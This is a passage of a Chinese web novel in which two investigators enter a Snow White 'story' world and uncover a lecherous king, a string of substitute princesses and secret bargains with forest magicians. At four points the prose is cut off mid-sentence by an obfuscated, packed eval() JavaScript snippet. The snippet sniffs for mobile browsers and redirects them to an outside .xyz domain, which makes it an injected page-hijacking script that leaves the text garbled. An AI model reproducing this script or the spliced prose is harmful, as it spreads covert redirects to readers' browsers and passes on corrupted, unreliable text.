直到今天的这次调查,林清原已经有将近一个月没有进“故事”了。 林清原非常不满。 “我也想被贝贝治疗。嗯?被贝贝……” 眼见林清原的思维又往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14380134|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷笑话上拐了,白仙贝及时捏住了她的脸。 林·嘟嘟嘴·清原:“?” 白仙贝说:“有机会肯定能见到的啦。不过能不受伤才是最好的。” 林清原:“阿巴巴巴。” 白仙贝松开捏住林清原脸的手。 林清原:“我刚想到一个事情。如果这次的‘故事’是《白雪公主》的话,那‘异变’的方向很可能是‘暗□□’。” “暗□□?” 白仙贝是第一次听说。 成柳倒是有所耳闻。 “你是说,那些存疑的‘原版童话’?” “嗯,我之前没看过公主童话,昨天在网上查资料的时候,发现除了广为流传的童话版本外,还多了很多‘暗黑版本’,各种童话都有,内容也挺乱的。” “你以前没看过公主童话吗?”白仙贝很吃惊。 林清原点点头。她的人生大部分时间都被练武占据了,又因为个人性格,她一直不太关注外界的事情。也就从第一次进入UFO后开始,她才冲浪多了一些。 “有很多传闻。比如睡美人,说唤醒她的不是王子,来到她身边的是一个已经结了婚的国王。他看着美丽的睡美人,兽性大发□□了她,直到九个月后,睡美人在睡梦中生下了一对双胞胎,小仙子们为了抚育双胞胎,将他们放在睡美人身旁,然后婴儿们误将吸手指当做吸奶,才唤醒了睡美人。 “白雪公主也有类似的情节,有一个版本说,王后并不是因为嫉妒白雪的美貌而痛下杀手,而是因为国王和其□□,王后接受不了,所以将白雪赶出去杀掉。但吃了毒苹果的白雪没有死,她躺在水晶棺材中沉睡。路过的王子见到了美丽的白雪,忍不住亲吻,并下令将棺材带回王宫,在搬运棺材的途中,棺材磕到了一个地方,颠簸使白雪喉咙中卡着的毒苹果颠了出来,所以才苏醒的。 “那么问题来了,为什么这个王子看到形似尸体的白雪,会忍不住亲吻并且要将其带回去呢?” 白仙贝细思极恐。她印象中的这些童话好像都变了个模样。 成柳说:“你这么一说我想起来了,这些版本确实流传过一段时间,不过后来说是意大利的巴西莱的原始版本,也有说是日本的桐生操创作的《令人战栗的格林童话》,也说是格林兄弟在编写《格林童话》时修改了很多版,还有一些《鹅妈妈的故事》的引用,来源很乱。不过现在看到的大众化的《格林童话》都是适合小孩阅读的版本了。”[注] 白仙贝记下了这些信息。 “有道理。如果‘异变’方向真的是童话方面的话,那这些‘暗黑版本’是最可能复现的。如果是这样的话,想要‘净化’它,最可能的办法就是将这些‘黑暗’元素剔除,回归到原本的童话风格了。” 林清原看看时间,现在已经是14点10分了,可以动身去看《白雪公主》的再放映了。 然而就在这时,商场内传来了广播声: “大家好,现接到紧急通知,目前商场内发生紧急情况,请按指示有序撤离。会有相关安保人员进行疏散行动,请各位不要慌乱,请按指示有序撤离。今日预播放的影片将会在之后重新放映,请随时关注手机信息以及官方通告。为您造成的不便,深感歉意!再重复一遍,请按指示有序撤离……” 几人对视一眼。 来了。 商场内陷入了骚乱,但很快,在官方人员的耐心引导下,人们按序离开,没有出现什么事故。 林清原等人也受到了撤离指引,但在查看了左手腕的标记后,便不再多说。 为了避免节外生枝,林清原几人并没有去帮忙。他们就待在原地,等待着“故事”的到来。 林清原拿出手机搜索消息,果然,一个又一个小热搜出现,又被一个接一个压下去。 商场的人这么多,UFO又是直接出现在大众视野中的,想压下这些舆论,官方有的忙了。 时间一分一秒过去,林清原终于再次感受到了熟悉的吸力。 她在眼前被白光占据前的最后一个想法是: 我这次终于进来了! 15. 白雪公主? 林清原发现自己在一个华丽的衣帽间,眼前是琳琅满目的衣裙,自己身上则是一套相对朴素的套裙。 古剑果然也被带进来了,不过没有了剑袋,没有在背上背着,而是在手里拿着。 她提了一下身上的裙子。 还好,不是很繁重,除了有点长,但问题不大,还是能跑能跳。 正当她思考着自己现在是什么身份时,有人自衣帽间外推门而入。 林清原下意识把剑藏到了角落,被繁复的裙摆遮挡。 “菲比原,你愣着做什么?给王后挑的衣服呢?” 林清原看到和自己穿了一致套裙的女人,结合她说的话,瞬间明白过来,自己大概是王后的侍女。 她随手选了一件蓝色的大裙,抱在怀里出了门。 在绕过几个小房间后,终于见到了王后。 王后一头乌发,肤白貌美,鼻梁高挺,眼睛细长,是个十足的美人。不过她面无表情,看上去冷冰冰的,每次转眼看人也都带了一丝冷意。 王后身后的侍女训斥林清原:“你是偷跑到哪里睡觉了!来的这样迟!” 林清原急中生智,答:“对不起!我一直在挑选今天要穿的裙子,觉得今日的王后比平日里更加美丽了,所以选了一件又一件,想找出能配得上王后美貌的裙子。” 她答完,室内陷入了一片寂静。这让她有些忐忑。 难道好巧不巧触了什么霉头? 好在王后笑了。 王后笑起来比她冷着脸的时候好看了十倍,林清原忍不住看呆了。 看到呆住的林清原,王后笑得更欢快了。她手指抵住嘴唇,说: “没想到你除了讲冷笑话在行,今天的嘴也这么甜。” 冷笑话? 林清原一愣。这个“故事”里怎么会出现冷笑话?不会是因为自己进来前和白仙贝他们讨论冷笑话的影响吧? 王后看向镜子中的自己,手拢了拢头发,语气理所当然:“我当然每天都很美。我是全世界最美的女人。” 林清原手中的裙子被侍女接过,服侍王后穿衣。 王后穿完裙子,看了看镜子,很满意,伸手从珠宝盒中拿了一只耳环,丢给了林清原。 “拿去花吧。” 林清原手握半个手掌大小的宝石耳环,简直心花怒放,夸起王后来更加顺畅。 “哦!我的王后,您简直是美神下凡,没有任何人能比得过您的美貌!您去池塘边走一圈吧,绝对能看到一群在鱼背上唱歌跳舞的青蛙!” “哦?为什么?” “因为那些青蛙见到您的美丽,就浑身无力,只能被顶起来‘呱呱’叫了,顶呱呱啊!” 本来林清原还有些担心这种中文谐音梗,外国背景的故事会不会不适用,但看来身处境内,“故事”也做了一定的本土化处理,王后不仅理解了,还很喜欢。 王后破例让林清原也跟在了今天的出行队伍中。 王后身边都是贴身侍女,林清原作为临时被拉上来的随行人员,自然只能跟在后面。 有人看不惯林清原,刻意跟在身边,悄悄伸出脚,想绊倒她,让她在王后面前出丑。 可惜林清原不是普通的侍女,她是武功高强的侍女。这点小把戏,她看都没看就轻松避过了。 眼见没绊住,耍小阴招的那个侍女凑上来,压低声音警告: “菲比原,别以为你讲些没营养的笑话就能得到王后关注了!你的笑话简直比放在雪地里十天的老面包还硬!” 林清原不理会这些酸话,她观察着周围,寻找着“故事”的主角。 如果这是《白雪公主》,那主角毫无疑问就是白雪。 一直跟在王后身边,也不知道现在的时间点是什么,白雪还在王宫?还是已经被迫害离开了? 王后一路来到了花园。国王也在这里。 国王比林清原想象中要年老很多,体态臃肿,胡子也已经花白。 两人坐在茶桌旁闲谈,林清原听了一会儿,想趁人不注意溜走,去寻找新情报,可惜一直没找到机会。 又等了一会儿,从花园外进来一个侍卫,走到国王面前禀报: “公主来了。” 林清原定睛一看,这不是成柳吗! 成柳也一眼就看到了林清原。 这“故事”的背景是外国,所以黑色头发的人不多。林清原的头发虽然被盘起来了,但还是很好认。 不过二人并没有现场认亲,他们只是心有灵犀地对视了一眼,就各自站定,继续扮演自己的角色。 既然成柳说“公主来了”,那来的公主会是白雪吗? 在见到公主的一瞬间,林清原就明白为什么白雪公主名为“白雪”了。 发如乌木,肤白胜雪,唇若鲜血,然而这些美丽的元素在公主灵动的双眼的衬托下也算不得什么。 公主的眼睛又大又圆,如同小鹿一般,望过来的目光充满了好奇与善意。 国王招呼白雪在身旁坐下。 林清原仔细观察着王后的表情。 王后显得很温柔,三人说话的场面十分祥和,宛如真正的一家人。 林清原有些拿不定主意了。 这真是《白雪公主》吗?难道王后是白雪公主的生母?还是说王后只是在国王面前对白雪温柔? 林清原又想了一遍自己查到的故事版本,确实有一版说,虐待白雪公主的王后是她的亲生母亲。 于是她稍微定了定心,正打算假装去如厕离开这个地方,花园内又来了新的禀报人。 这回进来的是个仆人。 他说:“王子来了。” 王子身着华服,身后跟了一群侍卫和仆人,不过在走过花园外庭后,大部分人都候在了外面,最后随着王子来到国王面前的,只剩下了几个。 国王见到王子,显得很高兴,他亲自站起来迎接,引他落座。 王子并不是如林清原一开始所想,是白雪公主的兄弟,而是邻国的王子。 他这次前来的目的,是迎娶白雪。 林清原震惊了。 迎娶白雪?难道自己现在是在白雪公主已经被王子拯救了之后的时间点吗? 看着周围的仆人们的淡定表情,林清原也紧急收了情绪。 她看了眼不远处的成柳,他也是一副淡定的表情,不知道是早就知道了这个消息,还是演技太好。 王子迎娶白雪很有诚意。 虽然林清原听不太懂他说出的专业用词的概念,但也能大致判断出,除了大量的金银珠宝外,他愿意给出的,还有他们国家的一些土地和其他资源。 白雪全程笑盈盈的,似乎没意识到这是对她的求娶,只一心盯着王子取下的帽子上的装饰玩。 王子的求娶快,婚礼也快。 上午在花园求娶,下午就开始布置婚礼场地。 林清原跟在忙碌的侍女队伍中,借着到处走动帮忙的名义,把王宫探索了大半。 成柳成功找到了还在乱窜的林清原。 “终于找到你了。我换完班后就在找你,结果刚摸到上一个地方,你就跑到下一个地方去了。你速度未免太快了。” 林清原回想了下自己的速度,确认道:“对,我速度确实变快了。” 她问:“现在到底是什么时间段?白雪出事了吗?” 成柳摇摇头,他也不知道。不过他说了一个值得注意的地方。 “王宫□□,分为两个部分,前半部分是‘小院’,国王的‘侍女’住的地方,后半部分是‘大院’,一直被锁着,严加看守,禁止旁人进入。” “那今晚就去□□大院看看。” 成柳说:“不止‘大院’,‘小院’也最好去看看。我今天跟在国王身边的时候,去了一趟‘小院’,那里面似乎有普通人。” 林清原很讶异:“普通人?我以为商场里的人已经被疏散完毕了。她情况怎么样?不过既然是侍女,那只要跟着其他人一起行动,问题应该不大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她被王后吩咐了一些近身任务,虽然没法再跑远探索了,但也不算坏事。 找遍了大半个王宫,都没找到传说中的“魔镜”,那或许它就在王后附近呢? 有贴身侍女过来向王后禀报。 林清原正在给王后做脸,于是听了个大概。 国王又领了新人去了“小院”。 王后听了消息也没有什么反应,她摆摆手,屏退了报话的侍女,继续享受她的脸部美容。 林清原默默思索着。 王后也知道“小院”的情况,但却不怎么在意。看来王后和国王的感情,也不是如原故事里所讲的那么恩爱。 这会是“异变”的一部分吗? 但目前最关键的“白雪公主”,反而得到的信息是最少的。 明明是公主,为什么会在求婚后就被送到了王子那里?再怎么说,也该是晚上的婚礼结束后才会跟着一起离开。 林清原心里有些着急。她感觉有哪里不对劲,但是她找不到线索。 晚上婚礼举办的很顺利,白雪公主身着白纱,挽着王子的胳膊,接受了大家的祝福,然后就随着王子离开了王宫,去往了新的国家。 等夜深人静,林清原悄悄从床上爬起来,潜入王后的衣帽间,拿回了自己的剑。 在前往和成柳汇合的路上时,她心念一转,拐去了王后的房间。 然而本该在房门口把手的侍女和侍卫,现在却统一守在了更远的过道。 林清原扔了几块白天随手捡的小石头吸引了他们的注意,然后凭借变快了的速度,悄声越过了防卫,来到了房间里。 奇怪的是,房间里一个人也没有。 她看到了王后和国王褪下的外衣和外靴,确认了二人还在房间里,于是小心地搜索起来。 可还没等她搜到一半,她就听到了“咔”的一声,于是急忙躲了起来。 墙壁缓缓转开一道门,从门内走出来的正是王后和国王。 他们两个神情严肃,出来之后也并没有说话,复原了机关后,就各自躺下了。 林清原默默记下了机关的位置,在黑灯后悄悄退了出去。 走廊处还有守卫,于是她这次选择了翻窗。 幸好王宫的设计有很多凸起,林清原攀着这些地方借力,在避过巡逻队后,来到了和成柳约好的地方——□□前方的树林。 成柳已经在那里等着了。 16. 夜间行动 成柳递给林清原一个面罩。 “哪来的?” 林清原戴上,问。 “仓库里拿的新的。把脸遮住好办事。” 成柳看了一眼林清原的长裙,问:“方便行动吗?” 林清原边说着“方便”,边把裙子三下五除二地撩到腰上,用古剑绕结固定住。 裙子里面还有一条长裤。 绑完,她解释道:“刚才去了一趟王后房间,穿侍女裙被发现了也好解释。现在就还是长裤更方便。” 成柳点点头,领着她沿着自己早先探好的路,摸索去□□。 一路上,两人又聊了起来。 成柳:“你既然在王后房间发现了密道,那魔镜大概率就在那里。我下午巡逻的时候又摸查了一遍,大部分人都不知道‘魔镜’的存在,只有一小部分人说,魔镜是王后带来的。” 林清原:“所以王后果然不是白雪公主的亲生母亲?” “对,还是和原故事一样,王后是国王在二十年前白雪公主生母去世后娶的。” “二十年前?” 林清原觉得有些奇怪。“白雪公主看起来可不像有二十岁的样子。” 她回忆了一下白雪的脸。 “看上去就只有十五六岁。” 成柳点头表示赞同。“没错,不过也有可能是童颜。除此之外,有个传闻让我很在意。” “什么传闻?” “国王似乎有儿子,还不止一个。” “但是哪里都没有见到有儿子的踪迹。” “有说夭折了,有说还活着的。但比较统一的说法是,这些王子们很早之前就离开了王宫。” “要是这些王子还在就好了,还能多一些线索。他们都离开了,就不好找了,如果是去了某个不知名的地方,就和不存在没什么两样了。” 成柳向林清原传授经验: “清原老大,你进‘故事’的次数少,对‘故事’还不太了解。实际上在‘故事’里,你需要考虑的就只有两件事:第一,这个‘故事’是讲什么的,是讲人或者动物的啊,还是讲某一件事的啊;第二,这个‘故事’哪里是主要部分,是什么占据了大部分戏份。 “虽然咱们是局内人,但越是在局内,越能快速分辨哪里是重要的场景,因为咱们的身份就是围绕着这个‘重要场景’和‘重要戏份’展开的。 “你想想,尤其这一次的‘故事’,咱们已经知道是以《白雪公主》为蓝本展开的了,这就更好判断了。王宫,不必多想,一定是重要场景之一,那么还有一个重要场景是什么?” 林清原顺着他的话语去思考。 《白雪公主》,主角是白雪公主、王后和小矮人们,什么国王、王子都是配角;重要的东西是魔镜,或许毒苹果也算;那么重要的场景,除了王宫,就只剩下了一个。 “森林?” 成柳笑了。 “没错。如果王宫今晚找不到突破口,那么剩下的突破口一定在森林。虽然净化‘故事’只要求逻辑通顺,但这不代表不能按规律做题。有的时候,代入公式,能思考的更快。” 林清原双手抱拳,感慨道:“成柳前辈!” 成柳“呵呵”一笑,应下了这个称呼。不过他还是继续对林清原以“老大”相称。 “清原老大你脑袋聪明,唯一缺少的只是经验。你按这些思路去思考,再拿个百分百编译度也不是问题。” 谈话间,二人来到了□□门前,隐在了黑暗处。 虽然林清原可以凭借自己的速度和体力绕过巡逻、翻越高墙,但成柳不行。 于是成柳打开随身带的小背包,从里面拿出了一样又一样奇怪的东西——有草,有肉,有果子,似乎还有……眼睛? 林清原看着他的架势,隐约明白了什么:“你要用能力了?” 成柳点点头:“以前养成的习惯了,进‘故事’之后就随时搜集能当祭品的东西。” 他将要用到的东西顺序摆好,拿出小刀,在准备划开自己的手指、开始献祭的时候,又停了下来。 他犹豫了一下,对林清原说: “清原老大,如果我等下献祭成功了,身体会出现一些变化……大概需要你多费点心了。” 林清原严肃地点头。她预想了很多种情况,做好了充足的心理准备。 随着祭品一点点被土地吃掉,鲜血反哺上成柳的身体,他的皮肤上出现了一道道神秘的符文。 成柳的神色有些痛苦,每念出一个字,他的嘴巴就涌出一丝黑血。 最后一个字念定,一阵诡异的风刮过,林清原下意识闭上了眼睛。 等她再睁眼,眼前已经没有了成柳——取而代之的,是一个衔着奶嘴的、身上遍布神秘符文的、三岁左右的小男孩。 小男孩望着林清原,见后者毫无反应,问道:“清原老大?” 因为嘬着奶嘴,小男孩问的含含糊糊的。 林清原一把掐住小男孩的脸,扯了扯。 不过小男孩并没有如她所想的哭鼻子,他只是无辜地摸了摸自己被掐疼的肉脸。 “真……真是成柳啊?” 小成柳说:“是我没错。原本这些巡卫队的换班时间卡的很紧,没什么机会潜入,现在稍微改变了一下,再过五分钟,他们就会有一次大换班,会有五分钟的空隙。咱们就趁那时候进去就行了。” 林清原蹲下身,问:“好的。你为什么要吃奶嘴?边吃奶嘴边说话,不会很不方便吗?” 小成柳答:“没办法呀,这是限制。奶嘴可以去掉,但是去掉之后,我会变得非常难过,完全控制不住情绪。” 林清原盯着小成柳看了两秒,一伸手把他的奶嘴拿掉了。 小成柳愣了。他反应过来想要拿回奶嘴,但他现在腿短手短的,压根够不到。没等几秒,他的眼中就蓄起了泪,然后顺着脸颊一颗颗流了下来。 他捂着心口,抽噎着说:“不行的,快还给我。我这样的状态,什么事都做不到。” 林清原把奶嘴重新塞回了他的嘴里。 真的很神奇,在重新吃到奶嘴后,小成柳的情绪立马就缓和了。 他擦了擦眼泪,很是无奈:“清原老大,不要捉弄我了。” 林清原一把把小成柳抱在了怀里,一手环腿,让他坐在自己的胳膊上,另一只手摸了摸他的头。 “对不起,对不起,太好奇了,没忍住,嘿嘿。” 小成柳挣扎着想下地。 “不用抱着我的,我可以自己行动。” 林清原把他抱得紧紧的,说:“不用担心,我侄子小时候经常抱他的,不会把你摔了的。” 不过在小成柳的强烈反对下,林清原还是换了姿势,把他背在了背上。 巡卫队果然迎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14414249|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了一波大换班。 林清原背着小成柳轻松地潜入了。 她说:“你的能力真的很厉害,简直是概念性的强大!这种厉害的能力,没点副作用才是不可思议的。小孩形态的你还挺可爱的,背起来轻的很,感觉可以直接当炮弹丢出去,直接启动人形武器模式。那肯定威力惊人,嚯!” 小成柳没搭话。 他趴在林清原的背上,笑了一下。他听出来了,清原老大在安慰他。 明明这回没有拿掉奶嘴,怎么有点想哭呢? “变成小孩模样挺好的,我也想变成小孩模样,这样潜入都方便多了。要是咱俩之前就是小孩样子,也不用等他们换班了,拿石子把灯打灭,就能直接从他们腿缝里钻过去了。黑灯瞎火的,保准谁也瞧不见。” 小成柳把头低下,额头抵在林清原的肩膀上,伸出胳膊悄悄擦了擦眼睛。 “嗯。” 来到“小院”,这里意外的看守很松懈。 小成柳悄声给林清原指路。他并不清楚之前看到的“普通人”具体住在哪里,只能根据之前看到的“侍女们”回屋的路线大致划了个区域。 林清原挨个找了过去。 然而一间间房间看过,并没有找到那个“普通人”。 成柳疑惑了。难道自己记错区域了? 林清原看了眼天色,估算着时间不太多了,于是也不再排间摸查,直接随便进了个房间,喊醒了还在睡梦中的“侍女”。 女人醒来见到戴着面罩的陌生人,很惊恐,尤其她的嘴巴被林清原紧紧捂住了。 她感觉有一个尖利冰凉的东西抵住了自己的脖子—— 是匕首。 于是她放弃了反抗,只希望这个陌生人能放过自己的性命。 林清原压低了声音,问道:“见过一个黑头发的女人吗?” 女人点点头。 林清原松开了手,有匕首在,女人没有呼救,她乖乖回答了问题。 “小院里,有好几个黑头发的女人。” “是个穿绿色裙子、头发长度到腰的黑头发女人。” 女人一惊。她根本不知道自己身旁还有另外一个人。 虽然听声音似乎有些稚嫩,但她不敢多加猜测。 “那个人……应该是下午被斩首了。” “斩首了?!” 林清原的手下意识用力,匕首在女人脖子上划了一道血痕。 女人一下子哭了,但她不敢哭的大声,接着说: “应该就是她。下午的时候国王来了一趟,想让她服侍,她不知怎么了,很是抗拒,甚至从房间里逃跑了。然后就被抓住斩首了。在这之后,国王就从外面又领了一个新人过来,填补了那个人的空缺。” 这个消息砸得林清原和成柳都不知所措。 他们从房间中离开,找到隐蔽的地方发愣。 成柳一直沉默着,然后突然蹲下了身,整个人隐藏在了阴影里。 林清原也很沉默。 她想起了下午给王后做美容时听到的消息。当时只觉得国王收小妾收的明目张胆,却没想到,那个消息是代表着那个普通人的死亡。 林清原心中各种情绪糅杂在一起。 愤怒、无力、不甘心、懊悔、难过,等等。 她的思绪转了很多,最后只坚定了一个念头:尽快结束所有“故事”。 17. 又一个白雪公主 在这之后,二人又前往了“大院”。 本以为避过守卫就没问题了,没想到“大院”外围设置的有一层看不见的屏障。 摸索了好一会儿,二人才猜测,这可能是一层魔法屏障。 能有魔镜的存在,当然也会有魔法的存在。 遭受了神秘力量的阻拦,二人此时也没了别的办法,如果再耽搁下去,很快就天亮了。 于是对“大院”的探索只能先行暂停,待之后有机会再来一次。 天亮后,林清原给王后挑好了今天的衣服送去时,发现国王也还在。 她以为国王早就离开了。 在林清原候在一旁等着侍女们服侍王后穿衣时,她感觉到国王的视线在自己身上转了很久。 她心里正紧张,就听到国王问: “你什么时候来的?以前怎么好像没见过你?” 就在林清原以为自己遇上了什么“故事”中的角色“觉醒了自我意志”的桥段时,王后回答了国王: “一直都在,平时大多时候都在我的寝宫工作,你又不常来。以前长的比较寒酸,最近可能是长大了,变得漂亮些了。” 王后看着眼睛还在提溜转的国王,不满道:“今天可是‘月度日’,收收你的心思,惹到了仙女,后果……” 国王这才把视线收回来,老脸上堆起笑容:“我知道。今天仙女的使者会来,我当然不会在这个时候乱来。” 林清原松了口气。 还好,以为国王是要冲破“故事”的桎梏了,结果只是单纯色心犯了。 但很快,她的那口气又提起来了。 今天是什么“月度日”,貌似很重要,还会来仙女的使者,国王不会在这时候惹事。但万一国王不死心,今天度过了,明天就把她抓去“小院”怎么办? 林清原只能把头低到最低,尽量减少国王对自己的印象。 国王最好别那么做。真做出那样的事了,她怕她忍不住把国王打一顿绑起来,到那时候,故事情节会怎么发展?可就真的乱了套了! 王后吃过早饭后,照例每天的游玩散心。 林清原又被叫在了随行队伍中。 她心里有些着急。早知道昨天不刷脸了,现在王后是彻底记住了她,基本上走哪带哪,她想离队都很困难。 只能期待成柳那边行动自由些,能打探到更多消息了。 成柳确实比林清原行动自由的多。他虽然属于国王的侍卫队,但随时换班也很方便。 比起女人,国王对男人的关注度几乎为零。 于是在一番打听后,成柳也得知了“月度日”的消息。 这是每月一次的大日子,因为在这天,仙女会派她的使者过来王宫。 王后和森林中的仙女达成了某项交易,所以仙女每个月都会来王宫,向王后收取报酬。 有传闻说王后向仙女索要了永葆青春的秘药,所以她才能二十年来始终美丽如初。 但也有传闻说,王后和仙女的交易,是其他事情。 国王也曾去往森林,与仙女达成过交易。不过他的报酬已经付完,所以在森林仙女的保佑下,这个国家才能永保昌盛,没有战争,没有侵略,只有源源不断的财富。 换班结束,成柳重新回到了队伍中。 “月度日”这天,仙女的使者在下午才会来,而上午,就是各个大农户向王宫进贡的时段。 并不是所有农户都能有机会来王宫上贡,只有在前一个月做出了亮眼的种植或者捕猎成绩,才能被挑选进王宫。 “月度日”,也是所有农户期盼的日子,因为如果在上午被挑进王宫进献产品了,那很可能这些产品在下午就被送给仙女的使者了。 一旦仙女的使者选中了什么产品,那就可以尝试向仙女许愿。仙女不一定会理会,但这种可能性总是有的。 成柳看着一个又一个农户上前,献出自己的成品——有的献上一整头处理干净的全鹿;有的献上在河边淘到的大颗宝石;有的献上一个足有成人个头的白萝卜。 成柳观察了每个农户。农户们来了又去,都表现的很规矩。 然而有一个农户,引起了他的注意。 这个农户的穿着打扮和寻常农户并没有区别,举止行动也都挑不出差错。但在他俩偶然间对视上后,这个农户立马就低下了眼睛。 虽然这和其他偶然对视过的农户是一样的表现,但成柳心里蹦出了直觉:这个农户不是一般人。 于是在这个农户离开后,成柳也跟着离开了。 他跟着农户走了一路,在看到农户三两下拐到了一个隐蔽的地方时,心里肯定了猜测。 成柳跟着走了进去。 迎上他的是一记竖劈。 成柳侧身躲过,伸手钳住胳膊,腿进后弯,就要把对方制住。 然而对方也反应很快,腿向后一踏,稳住重心,反手抓住成柳的手,手肘向下压,另一只手袭向肋间。 二人连过了几招,然后就不约而同地停了下来。 对方率先亮明了身份:“0177,编译部,代号栋贰肆。” 成柳也报上了身份:“万事屋现役成员成柳,前0177编译部成员,代号已作废。” 两人握手言和。 栋贰肆有些苦恼:“你怎么就认出我了?我觉得我装的挺像啊?” 成柳一笑。 “确实挑不出毛病。只是你走路的习惯还带点队里的姿势。别人不一定注意到,但我以前也是队里的,就跟过来看看。” 栋贰肆双手合十:“好兄弟,别跟别人说这件事。我伪装被发现这件事要是让队长知道了,肯定要罚我加练的!” 成柳拍拍他:“放心,这事我谁也不说,尤其不会告诉‘李魔鬼’。” “李魔鬼”正是0177编译部的大队长,以严苛的训练标准和经常性的加练著名,就被人冠以了外号“李魔鬼”。 听到成柳说出了“李魔鬼”,栋贰肆彻底放下了防备。 他知道成柳跟过来,是为了交流情报,于是就先说了自己收集到的信息: “这个‘故事’有一个小聚集地,我就‘出生’在那里。小聚集地的人都是以种田、打猎为生,每个月的‘月度日’前一天,会有王宫的人过来挑选,选中的人就能来上贡。不管能不能被仙女的使者看中,反正都能拿到一些钱财,所以大家都很积极。 “聚集地那里除了我以外,应该没有别人了。 “对了,我们那有个比较著名的人物,虽然已经死了,但他还有后人,也是继承了他的事业,当猎人。” “猎人?被王后要求去杀死白雪公主的猎人?”成柳问。 “对。不过猎人不是心软了嘛,放走了白雪公主。事情败露之后,王后就把那个猎人杀了。这是五年前的事了。” “五年前?那现在的白雪公主?” “咱们这些外来人,知道白雪公主是被赶杀了。但聚集地的人,都认为那个猎人是差点令公主受伤,所以才被处死的。在他们的印象中,白雪公主一直都在王宫。” 成柳问:“那你们知道昨天的婚礼吗?” 栋贰肆点点头:“婚礼时常会举行。但是国王和王后舍不得白雪公主离开,所以国王和男巫达成了交易,每次离开一个白雪公主,仙女给的花藤中就会再长出一朵花,花开了,就是又一个白雪公主。” “什么?花藤?男巫又是谁?聚集地的人都知道这些吗?” 成柳发现,这次的“故事”,比他想象的要复杂。 栋贰肆思考了一下,总结道:“聚集地离森林很近,所以关于森林的信息就知道的更多一些。森林里不仅有仙女,还有个男巫。他们的法力都很高强,但是基本不会离开森林,所以也几乎没人见过。 “根据老一辈流传的说法,王后和仙女达成了交易,国王则是和男巫达成了交易。交易的代价,就是国王的儿子们。所以国王的儿子们才会在二十年前突然失踪,仿佛从来没有存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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白雪公主梳妆打扮好,穿上了婚纱,就径直坐上了王子的马车。 如同昨晚上那样,王子带着他美丽的“新娘”,回了他自己的国家。 仆人们对此没有任何奇怪,他们继续投入到了忙碌的工作中。 下午仙女的使者将要到来,王宫里的每一项工作都要拿出比平时更努力的态度去做。 林清原一边找身边的人打听消息,一边再次找到了机会和成柳汇合。 “本来想告诉你那个王子原路回来了,没想到就是你去接的。那你知道他为什么突然回来吗?” 成柳眉头紧皱,答:“听说,是因为昨晚带走的那个‘白雪公主’死了。” “死了?!”林清原不知是该为那个“白雪”的死去而悲伤,还是该为得知的这一连串的新信息头疼。 “怎么会这么多‘白雪公主’?花藤又是哪来的?我没见到哪里有花藤啊?难道还是在那个密道里?” 她越想越糊涂。 成柳说:“那些事都先放在一旁,现在最迷惑的是‘白雪公主’的身份。目前基本可以确定,现在出现过的‘白雪公主’,都不是真正的‘白雪公主’了。而这个‘秘密’,王宫外的人不知道,但王宫内的人都知道,甚至前来求娶公主的各个王子也知道。” 林清原说了她从侍女那边打听到的关于他国王子的事情: “这个‘故事’里,其他国家还挺多的,但无一例外,所有国家的王子都想娶‘白雪公主’,为了娶到公主,宁愿付出全部。啊,不排除是侍女们的夸张说法啊。 “有些王子来了,见到公主很高兴,就举办了婚礼娶回去。但也有一小部分王子,虽然是来求娶公主的,但真的见到了,却很生气,于是国王就会带他去森林。从森林出来后,这些问题就全部消失了。” “王子愿意娶假的‘白雪公主’了?” “不是。是那些不愿意的王子,全都消失了。而且失去了王子的那些国家,没有一个会选择报仇。” 18. 仙女的使者 在一番商议后,林清原和成柳决定暂时留下,先看看所谓的“仙女的使者”到底是怎么回事,再进行下一步行动。 在等待仙女的使者到来前,林清原又把王宫能去的地方都摸查了一遍,发现了几个新的疑似“译者”的人,不过大家一直比较忙碌,她也怕遇到一些恶意的人,就没有去相认。 回王后那边的路上,林清原又遇到了那个看她不顺眼的侍女。 侍女看到她,趾高气昂地走了过来,跟连珠炮似的说了一大段话: “这不是我们那个喜欢乱逛街的菲比原吗?总是喜欢偷溜出门,是等不及要散发你身上那犹如过期的奶酪般难闻的气味了吗?王后大人说你是只关不住的小鸟,呵呵呵呵这种小鸟就该被折断翅膀放在笼子里,叽叽喳喳的叫两声,才算活的有些意义不是吗?” 林清原本来不打算理会,结果这侍女一个劲儿地凑过来。 “菲比原,感恩戴德吧!王后大人给了你珍贵的耳环,那是多么至高的荣耀!你不过小小一个衣帽侍女,心里是不是早就乐开了花,恨不得高歌一曲?” 林清原拿出那个耳环,问:“你说这个?” 侍女的眼睛黏在了耳环上,毫不掩饰地流露出了贪婪之意。 林清原一反手把耳环收了起来。她心里想笑,面上却装出一副严肃的神情: 